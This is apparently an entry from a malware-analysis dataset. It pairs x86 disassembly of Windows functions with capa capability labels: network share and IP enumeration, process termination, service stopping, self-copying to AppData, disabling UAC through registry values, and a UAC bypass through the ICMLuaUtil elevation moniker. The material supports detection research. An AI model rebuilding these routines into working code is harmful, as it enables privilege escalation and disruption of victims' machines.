joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41d910
Capabilities:
Get local ipv4 addresses

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x470d90
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4c], ecx
push 0xc
lea ecx, [ebp - 0x20]
call fcn.004015c0
lea ecx, [ebp - 0x20]
call fcn.004066a0
xor eax, eax
mov byte [ebp - 0x45], al
mov dword [ebp - 0x3c], 0x288
push 0x288
call fcn.004549b4
add esp, 4
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x41d994
lea ecx, [ebp - 0x20]
push ecx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407460
lea ecx, [ebp - 0x20]
call fcn.004078b0
mov eax, dword [ebp + 8]
jmp 0x41daa0
lea edx, [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x41d9ed
mov ecx, dword [ebp - 0x40]
push ecx
call fcn.0045478c
add esp, 4
mov edx, dword [ebp - 0x3c]
push edx
call fcn.004549b4
add esp, 4
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x41d9ed
lea eax, [ebp - 0x20]
push eax
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407460
lea ecx, [ebp - 0x20]
call fcn.004078b0
mov eax, dword [ebp + 8]
jmp 0x41daa0
lea ecx, [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x41da74
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
je 0x41da74
mov ecx, dword [ebp - 0x44]
add ecx, 0x1b0
push ecx
lea ecx, [ebp - 0x64]
call fcn.00408000
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x11]
call fcn.0041dac0
lea ecx, [ebp - 0x64]
call fcn.00407f50
push 0x3e8
lea ecx, [ebp - 0x38]
push ecx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp - 0x4c]
call fcn.0041db40
movzx edx, al
test edx, edx
je 0x41da62
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x20]
call fcn.0041d830
mov ecx, dword [ebp - 0x44]
mov edx, dword [ecx]
mov dword [ebp - 0x44], edx
lea ecx, [ebp - 0x38]
call fcn.00407b40
jmp 0x41da05
mov eax, dword [ebp - 0x40]
push eax
call fcn.0045478c
add esp, 4
lea ecx, [ebp - 0x20]
push ecx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407460
lea ecx, [ebp - 0x20]
call fcn.004078b0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4
Function at 0x41db40
Capabilities:
Send icmp echo request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x44], ecx
xor eax, eax
mov byte [ebp - 0x29], al
mov ecx, dword [ebp + 8]
call fcn.004079a0
movzx ecx, al
test ecx, ecx
jne 0x41dc61
mov edx, dword [ebp + 8]
push edx
call fcn.00401650
add esp, 4
push eax
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 6]
call fcn.0041dc80
lea ecx, [ebp - 0x20]
call fcn.004079a0
movzx ecx, al
test ecx, ecx
jne 0x41dc59
lea ecx, [ebp - 0x20]
call fcn.00407e90
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
je 0x41dc59
call dword [sym.imp.IPHLPAPI.DLL_IcmpCreateFile]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
je 0x41dc59
mov dl, byte [0x48268a]
mov byte [ebp - 5], dl
mov dword [ebp - 0x34], 0x1d
mov eax, dword [ebp - 0x34]
push eax
call fcn.004549b4
add esp, 4
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x41dc4f
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x30]
push eax
push 0
push 1
lea ecx, [ebp - 5]
push ecx
mov edx, dword [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.IPHLPAPI.DLL_IcmpSendEcho]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.IPHLPAPI.DLL_IcmpCloseHandle]
mov edx, dword [ebp - 0x30]
push edx
call fcn.0045478c
add esp, 4
cmp dword [ebp - 0x40], 0
je 0x41dc35
mov dword [ebp - 0x3c], 1
jmp 0x41dc3c
mov dword [ebp - 0x3c], 0
mov al, byte [ebp - 0x3c]
mov byte [ebp - 0x21], al
lea ecx, [ebp - 0x20]
call fcn.00407f50
mov al, byte [ebp - 0x21]
jmp 0x41dc63
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.IPHLPAPI.DLL_IcmpCloseHandle]
lea ecx, [ebp - 0x20]
call fcn.00407f50
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 8
Function at 0x41dd10
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x471830
mov eax, dword fs:[0]
push eax
sub esp, 0xa8
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x54], ecx
push 0xc
lea ecx, [ebp - 0x28]
call fcn.004015c0
lea ecx, [ebp - 0x28]
call fcn.004066a0
mov ecx, dword [ebp + 0xc]
call fcn.004079a0
movzx eax, al
test eax, eax
jne 0x41debb
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x14]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x44]
push ecx
push 1
mov ecx, dword [ebp + 0xc]
call fcn.00407a40
push eax
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x41ddbf
cmp dword [ebp - 0x48], 0xea
jne 0x41deae
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], 1
jmp 0x41ddd7
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp - 0x14]
ja 0x41dea4
mov edx, dword [ebp - 0x50]
mov eax, dword [edx]
push eax
lea ecx, [ebp - 0x40]
call fcn.00407cd0
push 0
push 0x494d84
lea ecx, [ebp - 0x40]
call fcn.0041df00
cmp eax, 0xffffffff
jne 0x41de8e
push 0x494d88
lea ecx, [ebp - 0x40]
push ecx
push 0x494d8c
mov edx, dword [ebp + 0xc]
push edx
push 0x494d90
lea eax, [ebp - 0xb4]
push eax
call fcn.00416510
add esp, 0xc
push eax
lea ecx, [ebp - 0x9c]
push ecx
call fcn.00418360
add esp, 0xc
push eax
lea edx, [ebp - 0x84]
push edx
call fcn.0041e080
add esp, 0xc
push eax
lea eax, [ebp - 0x6c]
push eax
call fcn.00418360
add esp, 0xc
push eax
lea ecx, [ebp - 0x28]
call fcn.00411e50
lea ecx, [ebp - 0x6c]
call fcn.00407b40
lea ecx, [ebp - 0x84]
call fcn.00407b40
lea ecx, [ebp - 0x9c]
call fcn.00407b40
lea ecx, [ebp - 0xb4]
call fcn.00407b40
mov ecx, dword [ebp - 0x50]
add ecx, 0xc
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x40]
call fcn.00407b40
jmp 0x41ddce
mov edx, dword [ebp - 0x44]
push edx
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
cmp dword [ebp - 0x48], 0xea
je 0x41dd86
lea eax, [ebp - 0x28]
push eax
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407460
lea ecx, [ebp - 0x28]
call fcn.004078b0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 8
Function at 0x41e770
Capabilities:
Create restart manager session
Enumerate processes that use resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x471880
mov eax, dword fs:[0]
push eax
sub esp, 0x84
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x90], ecx
mov ecx, dword [ebp + 8]
call fcn.004079a0
movzx eax, al
test eax, eax
jne 0x41e976
mov dword [ebp - 0x58], 0xffffffff
push 0x42
push 0
lea ecx, [ebp - 0x54]
push ecx
call fcn.00451270
add esp, 0xc
lea edx, [ebp - 0x54]
push edx
push 0
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x41e976
mov ecx, dword [ebp + 8]
call fcn.00407a40
mov dword [ebp - 0x68], eax
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x68]
push ecx
push 1
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x41e976
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
lea eax, [ebp - 0x60]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jne 0x41e862
jmp 0x41e904
cmp dword [ebp - 0x70], 0xea
je 0x41e870
jmp 0x41e976
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x64], edx
cmp dword [ebp - 0x6c], 0
je 0x41e8b1
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.0043a0d8
add esp, 4
cmp dword [ebp - 0x78], 0
jne 0x41e89d
mov dword [ebp - 0x80], 0
jmp 0x41e8aa
mov dword [ebp - 0x6c], 0x8123
mov edx, dword [ebp - 0x6c]
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x6c], 0
xor ecx, ecx
mov eax, dword [ebp - 0x64]
mov edx, 0x29c
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0043a0dd
add esp, 4
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x70], 0xea
jne 0x41e904
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x88], ecx
mov edx, dword [ebp - 0x74]
add edx, 1
mov dword [ebp - 0x74], edx
cmp dword [ebp - 0x88], 3
jb 0x41e838
cmp dword [ebp - 0x70], 0
jne 0x41e91e
cmp dword [ebp - 0x60], 0
jne 0x41e91e
push 0
push 0
mov eax, dword [ebp - 0x58]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
cmp dword [ebp - 0x6c], 0
je 0x41e95f
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x7c], ecx
mov edx, dword [ebp - 0x7c]
push edx
call fcn.0043a0d8
add esp, 4
cmp dword [ebp - 0x7c], 0
jne 0x41e948
mov dword [ebp - 0x8c], 0
jmp 0x41e958
mov dword [ebp - 0x6c], 0x8123
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x6c], 0
cmp dword [ebp - 0x58], 0xffffffff
je 0x41e976
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov dword [ebp - 0x58], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4
Function at 0x41e9a0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp + 8]
call fcn.004079a0
movzx eax, al
test eax, eax
jne 0x41ea30
push 0x44
push 0
lea ecx, [ebp - 0x48]
push ecx
call fcn.00451270
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], edx
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x48]
push ecx
push 0
push 0
push 0x8000000
push 1
push 0
push 0
mov ecx, dword [ebp + 8]
call fcn.00407a40
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessW]
test eax, eax
je 0x41ea30
push 0xffffffffffffffff
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov eax, dword [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, 1
jmp 0x41ea32
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4

Function at 0x41ea80
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4718b0
mov eax, dword fs:[0]
push eax
sub esp, 0x260
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x254], ecx
xor eax, eax
mov byte [ebp - 0x249], al
mov ecx, dword [ebp + 8]
call fcn.004079a0
movzx ecx, al
test ecx, ecx
jne 0x41ebcf
push 0
push 2
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0xffffffff
je 0x41ebcf
push 0x22c
push 0
lea edx, [ebp - 0x240]
push edx
call fcn.00451270
add esp, 0xc
mov dword [ebp - 0x240], 0x22c
lea eax, [ebp - 0x240]
push eax
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x41ebc2
lea edx, [ebp - 0x21c]
push edx
lea ecx, [ebp - 0x26c]
call fcn.00407cd0
lea eax, [ebp - 0x26c]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x11]
call fcn.0041ebf0
mov byte [ebp - 0x241], al
lea ecx, [ebp - 0x26c]
call fcn.00407b40
movzx edx, byte [ebp - 0x241]
test edx, edx
je 0x41eba6
mov eax, dword [ebp - 0x238]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0
je 0x41eba6
push 0
mov ecx, dword [ebp - 0x250]
push ecx
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov edx, dword [ebp - 0x250]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, 1
jmp 0x41ebd1
lea eax, [ebp - 0x240]
push eax
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x41eb25
mov edx, dword [ebp - 0x248]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4
Function at 0x41ed00
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x44], ecx
mov byte [ebp - 0x2d], 0
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp + 8]
call fcn.004079a0
movzx eax, al
test eax, eax
jne 0x41eeb8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x41eeb8
push 0x2c
mov ecx, dword [ebp + 8]
call fcn.00407a40
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x41eeae
xor edx, edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
push 0x24
lea ecx, [ebp - 0x2c]
push ecx
push 0
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x41eea4
cmp dword [ebp - 0x28], 1
je 0x41eea4
cmp dword [ebp - 0x28], 3
jne 0x41ee34
mov eax, dword [ebp - 0x14]
xor edx, edx
mov ecx, 0xa
div ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x3e8
jae 0x41ede4
mov dword [ebp - 0x38], 0x3e8
jmp 0x41edf4
cmp dword [ebp - 0x38], 0x2710
jbe 0x41edf4
mov dword [ebp - 0x38], 0x2710
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 8]
push eax
push 0x24
lea ecx, [ebp - 0x2c]
push ecx
push 0
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x41ee1a
jmp 0x41ee34
cmp dword [ebp - 0x28], 1
jne 0x41ee22
jmp 0x41ee34
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [ebp - 0x40]
cmp eax, dword [ebp + 0xc]
jbe 0x41ee32
jmp 0x41ee34
jmp 0x41edbd
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x3c]
push edx
mov ecx, dword [ebp - 0x44]
call fcn.0041ef60
lea eax, [ebp - 0x2c]
push eax
push 1
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x41eea4
cmp dword [ebp - 0x28], 1
je 0x41eea4
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 8]
push eax
push 0x24
lea ecx, [ebp - 0x2c]
push ecx
push 0
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x41eea2
cmp dword [ebp - 0x28], 1
jne 0x41ee92
mov byte [ebp - 0x2d], 1
jmp 0x41eea4
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [ebp - 0x40]
cmp eax, dword [ebp + 0xc]
jbe 0x41eea2
jmp 0x41eea4
jmp 0x41ee5c
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, byte [ebp - 0x2d]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 8
Function at 0x420340
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x471960
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x44], ecx
push str.AppData
lea ecx, [ebp - 0x5c]
call fcn.00407cd0
lea eax, [ebp - 0x5c]
push eax
lea ecx, [ebp - 0x28]
push ecx
mov ecx, dword [ebp - 0x44]
call fcn.00420540
lea ecx, [ebp - 0x5c]
call fcn.00407b40
lea ecx, [ebp - 0x28]
call fcn.004079a0
movzx edx, al
test edx, edx
jne 0x420435
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x44]
call fcn.00420470
lea ecx, [ebp - 0x40]
call fcn.004079a0
movzx ecx, al
test ecx, ecx
jne 0x42042d
push 0x494dd0
lea ecx, [ebp - 0x28]
call fcn.00416920
push 0x494dd4
lea ecx, [ebp - 0x28]
call fcn.00416920
push str..exe
lea ecx, [ebp - 0x28]
call fcn.00416920
push 0
lea ecx, [ebp - 0x28]
call fcn.00407a40
push eax
lea ecx, [ebp - 0x40]
call fcn.00407a40
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
test eax, eax
je 0x42042d
lea edx, [ebp - 0x28]
push edx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407ba0
lea ecx, [ebp - 0x40]
call fcn.00407b40
lea ecx, [ebp - 0x28]
call fcn.00407b40
mov eax, dword [ebp + 8]
jmp 0x42044d
lea ecx, [ebp - 0x40]
call fcn.00407b40
push 0x494df0
mov ecx, dword [ebp + 8]
call fcn.00407cd0
lea ecx, [ebp - 0x28]
call fcn.00407b40
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 4

Function at 0x420540
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x470ed0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp + 0xc]
call fcn.004079a0
movzx eax, al
test eax, eax
jne 0x4205df
push 0
push 0x104
lea ecx, [ebp - 0x28]
call fcn.00407c30
lea ecx, [ebp - 0x28]
call fcn.00407a20
push eax
push 0
lea ecx, [ebp - 0x28]
call fcn.00407a90
push eax
mov ecx, dword [ebp + 0xc]
call fcn.00407a40
push eax
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
mov dword [ebp - 0x2c], eax
push 0
mov ecx, dword [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x28]
call fcn.004079d0
lea edx, [ebp - 0x28]
push edx
call fcn.00401650
add esp, 4
push eax
mov ecx, dword [ebp + 8]
call fcn.00407ba0
lea ecx, [ebp - 0x28]
call fcn.00407b40
mov eax, dword [ebp + 8]
jmp 0x4205ef
push 0x494df8
mov ecx, dword [ebp + 8]
call fcn.00407cd0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret 8
Function at 0x420bb0
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
call fcn.00420ae0
movzx eax, al
test eax, eax
je 0x420c68
lea ecx, [ebp - 0x10]
push ecx
push 0x20006
push 0
push 0x494e28
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x420c1f
mov dword [ebp - 8], 0
push 4
lea edx, [ebp - 8]
push edx
push 4
push 0
push str.EnableLUA
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x10]
push edx
push 0x20006
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x420c68
mov dword [ebp - 0xc], 0
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret
Function at 0x420c80
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4719f0
mov eax, dword fs:[0]
push eax
sub esp, 0x27c
mov eax, dword [0x49f074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x270], ecx
xor eax, eax
mov byte [ebp - 0x265], al
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jne 0x420e43
xor ecx, ecx
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0x238], ecx
mov dword [ebp - 0x234], ecx
mov dword [ebp - 0x230], ecx
lea edx, [ebp - 0x23c]
push edx
push 0x494f88
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jne 0x420e3d
xor eax, eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], eax
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x220], eax
lea ecx, [ebp - 0x22c]
push ecx
push str.6EDD6D74_C007_4E75_B76A_E5740995E24C
call dword [sym.imp.ole32.dll_IIDFromString]
test eax, eax
jne 0x420e3d
push 0x208
push 0
lea edx, [ebp - 0x218]
push edx
call fcn.00451270
add esp, 0xc
push str.Elevation:Administrator_new:
push 0x104
lea eax, [ebp - 0x218]
push eax
call fcn.004558bc
add esp, 0xc
push str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call fcn.00455920
add esp, 0xc
push 0x24
lea edx, [ebp - 0x260]
push edx
call fcn.00420aa0
add esp, 8
mov dword [ebp - 0x260], 0x24
mov dword [ebp - 0x24c], 4
mov dword [ebp - 0x264], 0
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x22c]
push ecx
lea edx, [ebp - 0x260]
push edx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
je 0x420ddb
jmp 0x420da8
jmp 0x420ddf
cmp dword [ebp - 0x264], 0
je 0x420e3d
push 5
push 0
push 0
push 0
lea ecx, [ebp - 0x288]
push ecx
lea ecx, [ebp - 0x219]
call fcn.00420e60
mov ecx, eax
call fcn.00407a40
push eax
mov edx, dword [ebp - 0x264]
push edx
mov eax, dword [ebp - 0x264]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x24]
call edx
lea ecx, [ebp - 0x288]
call fcn.00407b40
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [ebp - 0x264]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
call eax
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00439a35
mov esp, ebp
pop ebp
ret

Function at 0x43c95f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebp
ret